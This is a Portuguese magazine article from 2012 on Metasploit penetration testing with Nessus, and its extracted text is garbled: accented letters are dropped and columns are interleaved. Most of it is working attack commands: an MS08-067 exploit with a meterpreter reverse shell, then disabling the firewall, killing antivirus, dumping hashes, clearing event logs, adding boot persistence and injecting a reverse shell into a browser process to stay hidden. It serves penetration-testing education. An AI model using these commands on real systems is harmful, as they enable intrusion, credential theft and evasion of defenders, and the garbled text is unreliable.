Vous êtes sur la page 1sur 5

Testes de vulnerabilidade com Metasploit | SEGURANA

Testes de vulnerabilidade com Metasploit

SEGURANA
Inimigo espreita

Saiba como o invasor visualiza a sua rede


e descubra como fcil desarmar suas
prprias defesas com Metasploit.
por David J. Dodd

O
framework Metasploit [1] algumas dicas teis sobre o framework Para comear, entre no site da Te-
uma caixa de ferramentas para conseguir escalonar privilgios. nable [3], baixe o Nessus 5 e o instale.
para testes de invaso, uma Por exemplo, no seria timo ter um A nova instalao vai residir em
plataforma para desenvolvimento de Shell em outro computador para o /opt/nessus e subscrever qualquer
exploits (programas que exploram caso de perder seu acesso Shell? instalao Nessus prvia. Inicie o
vulnerabilidades), alm de uma fer- daemon nessus e abra o navegador
ramenta de pesquisa. Inclui centenas Integrao do em https://localhost:8834 . Faa
de exploits remotos funcionais para login, v at Policies e clique em
diversas plataformas. Ao misturar e Nessus 5 Add (figura 1). D um ttulo para
combinar payloads, encoders e gera- Com o lanamento da ferramenta de sua poltica e clique em Next. Na
dores de NOP slide [2] com mdulos deteco de vulnerabilidades de confi- pgina Credentials, deixe as defi-
exploit, possvel solucionar quase gurao Nessus 5, da Tenable Network nies-padro e clique em Next,
todas as tarefas relacionadas a exploits. Security, usurios agora tm melhores embaixo.
Neste artigo, vamos gui-lo no uso filtros, anlise e relatrios, assim como A pgina Plugins possibilita adicio-
da ltima verso do plugin Nessus deteco mais rpida de problemas nar um filtro. Um menu drop-down
em um teste de invaso. de segurana. O plugin Metasploit apresenta diversas opes de escolha
Descubra como consultores de se- Nessus permite selecionar apenas as (garanta que as opes is equal to e
gurana usam o Metasploit para son- verificaes que abrangem vulnera- true estejam selecionadas e clique
dar e invadir um sistema real; e veja bilidades que esto no Metasploit. em Save figura 2).
Depois, desabilite todos os plu-
gins, selecione a famlia de plugins
que quer habilitar e clique em
Enable Plugins no canto superior
direito do painel. Faa isso para
todos os plugins que quiser ha-
bilitar, ento clique em Submit,
logo abaixo.
Para comear uma verificao,
Figura 1 Abra o navegador em https://localhost:8834. clique em Scans. Nomeie a veri-

Linux Magazine #92 | Julho de 2012 53


SEGURANA | Testes de vulnerabilidade com Metasploit

ficao e digite run now, schedu- Severity, Name e Family para cada cie o console msfconsole e carregue
led ou template. No menu Policy, plugin relacionado ao Metasploit o Nessus com o comando:
escolha a poltica que foi criada, (figura 3).
msf > load nessus
depois selecione um alvo. Agora A coluna Name informa quais
inicie uma verificao o tempo exploits Metasploit tm mais chan- Quando os plugins forem carrega-
requerido para executar isso ser ce de um ataque bem sucedido no dos, conecte com o servidor:
surpreendentemente breve. sistema sendo testado.
msf > nessus_connect
Posteriormente enviado um re- Para iniciar uma verificao no cr0wn:password@localhost ok
latrio que lista Plugin ID, Count, prprio framework Metasploit, ini-
Agora, mostre os plugins dispo-
nveis com o comando nessus_po-
licy_list (figura 4).
Use uma poltica para realizar um
scan na rede com o comando nessus_
scan_new, acrescentando o ID da poltica,
o nome da verificao e o intervalo-alvo
de IPs. Por exemplo, o comando
nessus_scan_new 5 windozxp
10.10.3.219

Figura 2 Opes de exploits disponveis. vai mirar em uma nica mquina


Windows XP com o endereo IP
10.10.3.219 (figura 5).
Se estiver conectado com um
banco de dados dentro do framework
Metasploit, abra uma visualizao
dos dados a partir do console; ou
Figura 3 Um relatrio informa qual exploit Metasploit pode ser usado efetiva- visualize os dados em um navegador.
mente contra o sistema em questo. Agora podemos selecionar um
exploit para usar no sistema-alvo. Di-
gamos que quero usar a falha MS08-
067, que vai obter um acesso Shell
no computador-alvo. Para conseguir
isso, fao o seguinte:
msf > use exploit/windows/smb/
ms08_067_netapi
msf > set payload U
windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.218
msf > set lport 5555
msf > set rhost 10.10.3.188
msf > exploit meterpreter >

Comandos teis
Agora que tenho um acesso Shell na
mquina Windows, h diversas opes
para serem exploradas. Por exemplo,
posso verificar se o computador-alvo
uma mquina virtual ou se existe
um antivrus sendo executado. Tam-
bm posso ver como a subrede
local e que tipo de configurao de
Figura 4 Carregamento do Nessus (topo) e listagem das polticas disponveis. segurana existe no sistema-alvo. O

54 www.linuxmagazine.com.br
Testes de vulnerabilidade com Metasploit | SEGURANA

Metasploit vem com alguns scripts


teis para executar essas tarefas.
meterpreter > run checkvm

O prximo comando mostra o


menu de ajuda com opes:
meterpreter > run getcountermeasure -h

Use -d para desabilitar o firewall


embutido:
meterpreter > run getcountermeasure -d

Para matar a maioria dos progra-


mas antivrus, execute o script killav:
meterpreter > run killav
Figura 5 Conexo com o servidor (topo), lista de polticas (meio) e incio de
Para identificar a mscara de subre- uma verificao com o comando nessus_scan_new (embaixo).
de local, execute get_local_subnets:
meterpreter > run get_local_subnets

Pesquise o host por dados interes-


santes, como uma lista de arquivos
por tipo (*.pdf, *.txt, *.doc, *.jpg
etc). Para isso, use a funo search:
meterpreter > search -h
meterpreter > search -f *.pdf

Para obter dados detalhados sobre


o sistema, use os scripts winenum e
scraper. O winenum faz um dumping
com tokens e hashes, fornecendo
muitos dados (figura 6). O script
scraper colhe os dados do registro
e do sistema:
meterpreter > run winenum
meterpreter > run scraper

Agora vamos apagar os arquivos de


log. Para fazer isso, abra o menu do
Meterpreter com o comando irb. De-
pois, dispare os seguintes comandos:

meterpreter > irb


[*] Starting IRB shell
[*] The 'client' variable holds
the meterpreter client
>> log = client.sys.eventlog.
open('system')
>> log.clear

Ao fazer isso, irei mais adiante e apa-


garei os logs de segurana e aplicativos,
mudando system nesses comandos por
security e application, respectivamente. Figura 6 Dumping de hashes e tokens com o comando winenum.

Linux Magazine #92 | Julho de 2012 55


SEGURANA | Testes de vulnerabilidade com Metasploit

terpreter persistence (para uma lista


de opes, use a opo -h):

Meterpreter > run persistence -h


Meterpreter > run persistence -X
-i 5 -p 5555 -r 10.10.3.180

Esse comando joga uma sesso me-


terpreter em um sistema remoto (com
-r 10.10.3.180) em um intervalo de
cinco segundos (-i 5), na porta 5555
(-p 5555); em seguida, essa sesso
carregada e executada (-x) cada vez
que a mquina inicia. O receptor
aguarda pelo Shell Meterpreter usan-
do o mdulo exploit multi/handler:

Figura 7 Procure processos que no vo atrair nenhuma ateno. msf > use multi/handler
msf > set payload windows/
Poder passar um Shell meterpre- dia, houve um exerccio de 12 horas meterpreter/reverse_tcp
ter para membros da equipe com os em que os participantes atacavam msf > set lhost 10.10.3.180
msf > set lport 5555
quais o teste estiver sendo executado (time vermelho) ou defendiam (time msf > exploit
valioso. Essa opo no havia se azul). Eu estava no time vermelho,
apresentado a mim at que fiz um e ter a habilidade de passar Shells O segundo exemplo um pouco
curso na Industrial Control Syste- meterpreter para meus colegas de mais furtivo e pode injetar seu Shell
ms Advanced Cybersecurity, o qual time foi til. Meterpreter em um processo exis-
foi ministrado pela US-CERT [4]. No restante deste artigo, irei mos- tente. Aps executar o comando ps a
Recomendo que qualquer pessoa trar alguns exemplos de como com- partir do Meterpreter, obtenha uma
que trabalhe na rea de sistemas partilhar um Shell Meterpreter. No lista de processos ativos. Examine a
ICS/SCADA faa esse curso. Um primeiro exemplo, uso o script me- lista e procure processos que no vo
atrair ateno, como IEXPLORER.EXE
PID 3664 (figura 7).
Injetar o Shell Meterpreter no pro-
cesso IEXPLORE.EXE seria bem furtivo.
Usarei o comando multi_meter_inject
com as seguintes opes:
meterpreter > run
multi_meter_inject -pt
windows/meterpreter/reverse_tcp
-mr 10.10.3.180 -p 3664

Esse comando lana uma sesso


meterpreter para um sistema remoto
(-mr) 10.10.3.180, na porta (-p) 3664.
O recipiente estaria esperando pelo
Shell usando o multi/handler, apenas
trocando lport para 3664.
Agora, ao executar anlises bsi-
cas na mquina da vtima, execute
tasklist e nada vai parecer fora de
lugar (figura 8), mas ao executar
netstat -an, ser exibida uma cone-
xo externa (figura 9).
Uma terceira maneira de enviar
Figura 8 O comando tasklist no revela nenhuma evidncia da invaso. Shells meterpreter usando o script

56 www.linuxmagazine.com.br
Testes de vulnerabilidade com Metasploit | SEGURANA

meterpreter duplicate. No prompt


meterpreter, digite:
meterpreter > run duplicate -h

Esse comando fornece diversas


opes, e o comando a seguir envia
um Shell Meterpreter ao endereo
10.10.3.180 na porta-padro 4546
(figura 10):
meterpreter > run duplicate
-r 10.10.3.180

possvel executar um farejador


de pacotes na sistema-alvo aps com-
partilhar um Shell Meterpreter com
um parceiro. Esse script meterpreter
chamado de packetrecorder, sendo
mais granular ao capturar pacotes:
meterpreter > run packetrecorder

Para determinar a interface a ser


monitorada, use o comando run pa-
cketrecorder -li. Ele lista interfaces
de rede; escolha uma interface e um
destino para gravar o arquivo:
meterpreter > run packetrecorder
-i -l /home/tmp/
[*] Packet capture interval is
30 seconds

Voc pode analisar o arquivo de-


pois com o Wireshark ou tcpdump.

Mais informaes
Figura 9 O comando netstat -an revela evidncias de uma conexo estranha.
[1] Metasploit: http://www.
metasploit.com/

[2] NOP slide: http://


en.wikipedia.org/
wiki/NOP_slide

[5] Tenable: http://www.


tenable.com/products

[6] US-CERT: http://


www.us-cert.gov/

Gostou do artigo?
igo?
Queremos ouvir sua opinio.
pinio.
Fale conosco em
m
cartas@linuxmagazine.com.br
zine.com r
Este artigo no nosso
sso site:
s e:
http://lnm.com.br/article/7151
r/artic 715 Figura 10 Inicializao de um shell meterpreter com o script duplicate.

Linux Magazine #92 | Julho de 2012 57